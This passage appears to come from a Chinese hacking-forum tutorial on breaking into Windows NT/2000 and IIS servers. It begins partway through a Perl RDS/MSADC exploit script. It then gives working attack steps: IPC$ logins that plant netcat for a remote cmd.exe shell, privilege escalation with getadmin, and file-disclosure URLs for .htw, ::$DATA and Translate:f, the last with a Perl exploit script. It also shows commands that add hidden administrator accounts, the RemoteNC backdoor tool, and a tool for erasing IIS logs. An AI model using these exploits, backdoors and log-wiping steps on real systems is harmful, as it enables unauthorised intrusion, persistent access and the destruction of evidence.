return 1 if( $in[$base+10]=~/^\x09\x00/ );}
return 0;}

##############################################################################

sub make_dsn{ # this makes a DSN for us
my @drives=("c","d","e","f");
print "\nMaking DSN: ";
foreach $drive (@drives){
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
. $drive . "\%3A\%5Csys.mdb\&newdb= CREATE_DB\&attr= HTTP/1.0\n\n");
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200"){
foreach $line (@results){
return 1 if$line= ~/<H2>Datasource creationsuccessful<\/H2>/;}}
}return 0;}

##############################################################################

sub verify_exists{
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0\n\n");
return $results[0];}

##############################################################################

sub try_btcustmr{
my @drives=("c","d","e","f");
my @dirs=("winnt","winnt35","winnt351","win","windows");

foreach $dir (@dirs){
print "$dir -> "; # fun status so you can see progress
foreach $drive (@drives){
print "$drive: "; # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
else{ verbose(odbc_error(@results)); funky(@results);}}print "\n";}}

##############################################################################

sub odbc_error{
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}

##############################################################################

sub verbose{
my ($in)=@_;
return if !$verbose;
print STDOUT "\n$in\n";}

##############################################################################

sub save{
my ($p1, $p2, $p3, $p4)=@_;
open(OUT,">rds.save") || print "Problem saving parameters...\n";
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
close OUT;}

##############################################################################

sub load{
my @p; my$drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@p=<IN>; close(IN);
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
if($p[1]==1){
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
if (rdo_success(@results)){print "Success!\n";}
else{ print "failed\n"; verbose(odbc_error(@results));}}
elsif ($p[1]==3){
if(run_query("$p[3]")){
print "Success!\n";}else{ print "failed\n"; }}
elsif ($p[1]==4){
if(run_query($drvst . "$p[3]")){
print "Success!\n"; }else{ print "failed\n"; }}
exit;}

##############################################################################

sub create_table{
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}

##############################################################################

sub known_dsn{
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"banner", "banners", "ads", "ADCDemo", "ADCTest");

foreach $dSn (@dsns){
print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successful\n";
if(run_query("DSN=$dSn")){
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }else{
print "Something's borked. Use verbose next time\n";}}}print "\n";}

##############################################################################

sub is_access{
my ($in)=@_;
$reqlen=length( make_req(5,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(5,$in,""));
my $temp= odbc_error(@results);
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
return 0;}

##############################################################################

sub run_query{
my ($in)=@_;
$reqlen=length( make_req(3,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(3,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 0;}

##############################################################################

sub known_mdb{
my @drives=("c","d","e","f","g");
my @dirs=("winnt","winnt35","winnt351","win","windows");
my $dir, $drive, $mdb;
my$drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";

# this is sparse, because I don't know of many
my @sysmdbs=( "\\catroot\\icatalog.mdb",
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"\\system32\\certmdb.mdb",
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%

my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"\\cfusion\\cfapps\\forums\\forums_.mdb",
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"\\cfusion\\cfapps\\security\\realm_.mdb",
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
"\\cfusion\\database\\cfexamples.mdb",
"\\cfusion\\database\\cfsnippets.mdb",
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"\\cfusion\\brighttiger\\database\\cleam.mdb",
"\\cfusion\\database\\smpolicy.mdb",
"\\cfusion\\database\cypress.mdb",
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"\\website\\cgi-win\\dbsample.mdb",
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
); #these are just
foreach $drive (@drives){
foreach $dir (@dirs){
foreach $mdb (@sysmdbs){
print ".";
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
}else{ print "Something's borked. Use verbose next time\n"; }}}}}

foreach $drive (@drives){
foreach $mdb (@mdbs){
print ".";
if(create_table($drv . $drive . $dir . $mdb)){
print "\n" . $drive . $dir . $mdb . " successful\n";
if(run_query($drv . $drive . $dir . $mdb)){
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
}else{ print "Something's borked. Use verbose next time\n"; }}}}
}

##############################################################################

sub hork_idx{
print "\nAttempting to dump Index Server tables...\n";
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw2(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
$results[$c]=~s/\x00//g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$d{"$1$2"}="";}
foreach $c (keys %d){ print "$c\n"; }
}else{print "Index server doesn't seem to be installed.\n"; }}

##############################################################################

sub dsn_dict{
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
while(<IN> ){
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successful\n";
if(run_query("DSN=$dSn")){
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }else{
print "Something's borked. Use verbose next time\n";}}}
print "\n"; close(IN);}

##############################################################################

sub sendraw2{ # ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
print "Connected. Getting data";
open(OUT,">raw.out"); my @in;
select(S); $|=1; print $pstr;
while(<S> ){ print OUT $_; push @in, $_; print STDOUT ".";}
close(OUT); select(STDOUT); close(S); return @in;
}else{ die("Can't connect...\n"); }}

##############################################################################

sub content_start{ # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++){
if($in[$c] =~/^\x0d\x0a/){
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/){ $c++; }
else{ return $c+1; }}}
return -1;}# it should never get here actually

##############################################################################

sub funky{
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
exit;}
if($error=~/A Handler is required/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}
if($error=~/specified Handler has denied Access/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}}

##############################################################################

sub has_msadc{
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
my $base=content_start(@results);
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
return 0;}




-------------IPC入侵--------------

IPC是Internet Process Connection的缩写,也就是远程网络连接。它本来是UNIX的进程间通讯的意思,这里我们说的是Windows下的IPC,他主要是共享命名管道的资源,它对于程序间的通讯很重要。在远程管理计算机和查看计算机的共享资源时使用。
它是Windows NT及Windows 2000特有的一项功能,特点是在同一时间内,两个IP之间只允许建立一个连接。好了,废话少说,现在进入主题。

如何找到具有IPC漏洞的主机呢?用小榕的流光2000,找到这样的主机实在是太简单了,具体操作我就不说了,大家可以参考该软件的说明文档。

好了,假设我们已经找到了一台这样的主机,地址是139.223.200.xxx,管理员帐号是Administrator,密码是123456。进入命令行方式,正式开工。需要说明的是,以下操作都是在目标主机没有禁止远程IPC$连接和启动Schedule服务的理想情况下进行的。

F:\>net use \\139.223.200.xxx\ipc$ "123456" /user:"Administrator"
命令成功完成。

F:\>copy nc.exe \\139.223.200.xxx\admin$
已复制 1 个文件。

F:\>net time \\139.223.200.xxx
\\139.223.200.xxx 的当前时间是 2000/12/25 上午 10:25
在 \\139.223.200.xxx 的本地时间 (GMT - 07:00) 是 2000/12/25 上午10:35
命令成功完成。

F:\>at \\139.223.200.xxx 10:38 nc -l -p 1234 -t -e cmd.exe
新增加了一项作业,其作业 ID = 0

F:\>telnet 139.223.200.xxx 1234

上面的命令很简单,你只要参考一下net,at和nc的用法就可以了。这样,我们就登上了远程的主机。最理想的情况是这样的,但是,也许你会遇到目标主机的Schedule服务没有启动的情况,那么,at命令就不能用了,我们就需要增加以下步骤。

F:\>at \\139.223.200.xxx 10:38 nc -l -p 1234 -t -e cmd.exe
服务仍未启动。

F:\>netsvc \\139.223.200.xxx schedule /start
Service is running on \\139.223.200.xxx

登上远程主机之后,我们可以做什么呢?这要视这个帐号的权限以及该主机的安全策略来决定。如果你的权限不够的话,可以试试下面的步骤。首先在本地执行下面的命令。
F:\>copy getadmin.exe \\139.223.200.xxx\admin$
已复制 1 个文件。
F:\>copy gasys.dll \\139.223.200.xxx\admin$
已复制 1 个文件。
其次,在远程主机运行下面的命令。
C:\WINNT\system32>getadmin
如果成功的话,你就是这台主机的管理员了,权限够大了吧?:-)


---------------webhits.dll & .htw----------------
  这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)其原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:
http://www.目标机.com/nosuchfile.htw
  如果你从服务器端获得如下信息:
format of the QUERY_STRING is invalid
这就表示你存在这个漏洞。
  这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
  攻击者可以使用如下的方法来访问系统中文件的内容:
http://www.目标机.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
  就会在有此漏洞系统中win.ini文件的内容。



-------------------ASP Alternate Data Streams(::$DATA)-----------------
  $DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面的main data stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访问这个data stream(数据流),这样做也就显示了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。
  其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式),第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁,
要查看一些.asp文件的内容,你可以请求如下的URL:
  http://www.目标机.com/default.asp::$DATA 你就得到了源代码。你要了解下NTFS文件系统中的数据流问题,你或许可以看看这文章:
http://focus.silversand.net/newsite/skill/ntfs.txt


----------------ISM.DLL 缓冲截断漏洞 ----------------
  这个漏洞存在于IIS4.0和5.0中,允许攻击者查看任意文件内容和源代码。通过在文件 名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间来返回一些你要打开的文件内容。可是要注意,除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL 第一次装入内存时工作。
http://www.目标机.com/global.asa%20%20(...《=230》global.asa.htr



----------------存在的一些暴力破解威胁.htr程序 ------------------
  IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个.htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:
c:\winnt\system32\inetsrv\iisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,请立即删除这个目录。


---------------------Translate:f Bug-----------------
  这个漏洞发布于2000年8月15号(www.securityfocus.com/bid/1578),其问题是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,因此在IIS4.0上也有这个漏洞,你可而已使用下面的脚本来利用这个漏洞:
#############################
use IO::Socket; #
my ($port, $sock,$server); #
$size=0; #
#############################
#
$server="$ARGV[0]";
$s="$server";
$port="80";
$cm="$ARGV[1]";
&connect;
sub connect {
if ($#ARGV 《 1) {
howto();
exit;
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
\n\n";
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server) || die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";
$proto = getprotobyname('tcp') || die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:
$!";
connect(SOCK, $paddr) || die "Error: $!";
send(SOCK, $ver, 0) || die "Can't to send packet: $!";
open(OUT, "》$server.txt");
print "Dumping $cm to $server.txt \n";
while(《SOCK》) {
print OUT 《SOCK》;
}
sub howto {
print "type as follows: Trans.pl www.目标机.com codetoview.asp \n\n";
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1); }

  你可以使用下面的方法来获得源代码:
Trasn.pl www.目标机.com default.asp

---------Serv-U FTP-Server v2.5b for Win9x/NT本地/远程D.o.S攻击漏洞 -------------
在Windows API 函数"SHGetPathFromIDList"中被发现存在一个缓冲区溢出漏洞。这个函数将一个项目标识符转换为一个文件的系统路径,用于处理Windows下的链接文件。
只需要一个畸形的链接文件,就可能使任何企图转换这个.lnk链接文件的程序/服务器崩溃。例如,复制一个畸形的链接文件到电脑桌面,将导致不能在该机器上登录。
要使Serv-u FTP服务器崩溃,只需上载一个畸形的链接文件到任何Serv-u的目录,然后输入FTP命令LIST,该FTP服务器将崩溃。注,基于Windows 2000的该程序没有这个问题。
漏洞检测方式参考如下:
畸形链接文件实例:http://www.ussrback.com/god.lnk


-------------数据库的攻击------------

对于存在"sa"空口令帐户的SQL服务器来说,最简便的入侵方法如下:

在命令行方式下键入"sqlexec [IP]",当屏幕出现"Now type dos command(s) to execute :"时,就可以在对方的服务器上执行命令了,如下命令将创建一个新的用户帐号,并将它设置为管理员权限:

net user huodingx /add /expires:never /password:123456
net localgroup "Administrators" /add Admin
net localgroup "Users" /del huodingx
这样你就在administrators组添加了一个huodingx密码为123456的帐户。你就可以用这个帐号telnet上去。
如果,对方主机的telent服务没有开,你就接着输入net start telnet,看到成功执行命令后。对方主机已经开了telnet服务了,呵呵……不用我再说了吧!

对于mysql的root空口令,也差不多,用这个帐号可以登陆到主机的3306端口,可以添加一些程序文件到scripts文件夹,通过ie执行提升权限。

另外如果你对数据库的攻击感兴趣,可以读一下佳佳的教程(jjgirl.yeah.net)



乱七八糟的写了十几天,回头看看,也不知道写了些什么。Windows的漏洞实在是多,这里只能简单的描述一下。整天盯着屏幕,这几天眼睛老是觉的不太舒服。真是想放弃,可是又觉的对不起这几天的劳动。看来只能这样草草收场了。



第四部分

==========后门及日志=============
火丁实在是很累了,这一节也不是本文所要叙述的重点,就简单介绍一下了。
----------后门------------
最简单的莫过于,添加一个用户了

net user Admin /add /expires:never /password:no
net localgroup "Administrators" /add Admin
net localgroup "Users" /del Admin
以后就可以用这个帐号登陆了,建议起用guest这个默认的,就是被发现了,大意的管理员也不会在意。

小榕那里还有一个东东remoteNC,我们来看看它的说明:
===============================================================
RemoteNC

使用说明

小榕软件试验室 版权所有

http://www.netXeyes.com http://www.netXeyes.org

Dansnow@21cn.com
-------------------------------------------------------------------

Remote NC是在NT/2000中运行的一个工具,和NC类似,可以远程执行命令。和NC比较的优点在于:

1、远程安装启动,不依赖于Schedule服务。

2、可以以指定的用户身份运行,也可以以系统用户身份运行。

3、作为服务安装于远程系统,系统会自动启动。

4、快速。

D:\MyDocuments\RemoteSVC\Release>RemoteNC.exe

=======RemoteNC Beta 1, Written by Assassin 2001=======
http://www.netXeyes.com http://www.netXeyes.org

Usage: RemoteNC <IP> <Username> <Password> <Starting Mode>
<Service Name> <Description Name>
<Listen Port> <Control Password> [/OVERWRITE]
<IP>: Remote Host IP Address 远程主机IP地址
<Username>: Account name in Remote Host Who Must Has
Administrators Privilege 用户名(必须具有Administrators权限)
<Password>: Password of Account Name 密码
<StartMode>: LocalSystem or RunAsUser 启动模式:LocalSystem(系统用户) RunAsUser(以前面指定的用户身份运行,推荐)
<ServiceName>: Specify Service Name 服务的名称
<Description>: Description of Service, Displayed in Service Manager 服务的说明,显示在服务管理器中,如果同名服务已经存在,将会安装失败。
<ListenPort>: Service Listen Port 启动后监听的端口
<ControlPassword>: Control Password 控制密码

[OVERWRITE]: 如果文件已经存在,则强制重写整个文件。


例子:
D:\MyDocuments\RemoteSVC\Release>RemoteNC 192.168.0.1 administrator password Runa
sUser "RemoteNC" "Provide Local CMD Redirect" 7 123456

=======RemoteNC Beta 1, Written by Assassin 2001=======
http://www.netXeyes.com http://www.netXeyes.org

[Install Service as RunasUser Mode]
Connecting 192.168.0.1 ..... Done.
Transffer File ..... Done.
Start Service ..... Done.


Now You can Tenlet 192.168.0.1 7 to Connect, Have a Joy :-) 安装成功
D:\My Documents\RemoteSVC\Release>
D:\MyDocuments\RemoteSVC\Release>telnet 192.168.0.1 7 登录到制定的端口
RemoteNC Control Password: **************
===============Banyet Soft Labs. 1995-2001 All Rights Reserved.===============
=========Written by Assassin, Server Edition FluxShadow@21cn.com==============


Microsoft Windows 2000 [Version 5.00.2195]
RemoteNC>net user
User accounts for \\VICTIM
---------------------------------------------------------------------
Administrator Guest IUSR_VICTIM

IWAM_VICTIM NetShowServices TsInternetUser zjf
The command completed successfully.

RemoteNC>net user test test /add
The command completed successfully.

由于是以Administrators组的权限启动,所以不会出现1312错误。

如果是以系统权限启动,有时会出现1312错误,这就是推荐采用RunasUser安装的原因。

RemoteNC>

如果用RunAsUser模式安装失败,请用LocalSystem模式。


其实,流光自带的不少东西都是用于制作后门的,如 srv.exe等,另外,xfocus也有不少后门程序下载,自己找吧。关于后门就说这么多了。


---------------日志--------------
根据我的经验,大多数win的管理员,是不看日志的。别问我,我也不知道为什么。所以,呵呵,你可以放心了,只要不做大的破坏。人家是不会追查你的。如果你还是不放心可以用这个东东,呵呵……真是感谢小榕,为我们提供了这么多好的工具。这里要说的是CleanIISLog,一个win2000下擦除脚印的工具。
看一下它的readme。
===============================================
CleanIISLog ReadMe

CleanIISLog是一个清除IIS LOG记录的工具,和其他工具相比有以下不同点:

1、可以清除指定的的IP连接记录,保留其他IP记录。

2、当清除成功后,CleanIISLog会在系统日志中将本身的运行记录清除。

用法: CleanIISLog <LogFile>|<.><CleanIP>|<.>

<LogFile>: 指定要处理的日志文件,如果指定为“.”,则处理所有的日志文件

(注意:处理所有日志文件需要很长的时间)。

<CleanIP>: 指定要清除的IP记录,如果指定为“.”,则清除所有的IP记录(不

推荐这样做)。

CleanIISLog只能在本地运行,而且必须具有Administrators权限。
=============================================================

另外,要发两句牢骚,工具好,就是好,方便就是方便,有些人大谈什么技术含量不高什么的,可自己为什么不手工扫描?就象对待操作系统,一边大骂微软,可是自己的机器装的还是win。不知道为什么?

这里有一篇关于日志的文章,收在后面的附录里了,看看也许有帮助。

TOP

发新话题
本功能由奇虎搜索实现

相关主题

标题 作者 最后发表
PHOTOSHOP初学者成长教材 xcj623 2008-09-22
Windows2000绝版安全配置教程 潘无忧 2008-06-26
点击阅读更多关于的相关帖子  更多相关主题

本站服务器及带宽由 新网合租 Xinnethz.com 提供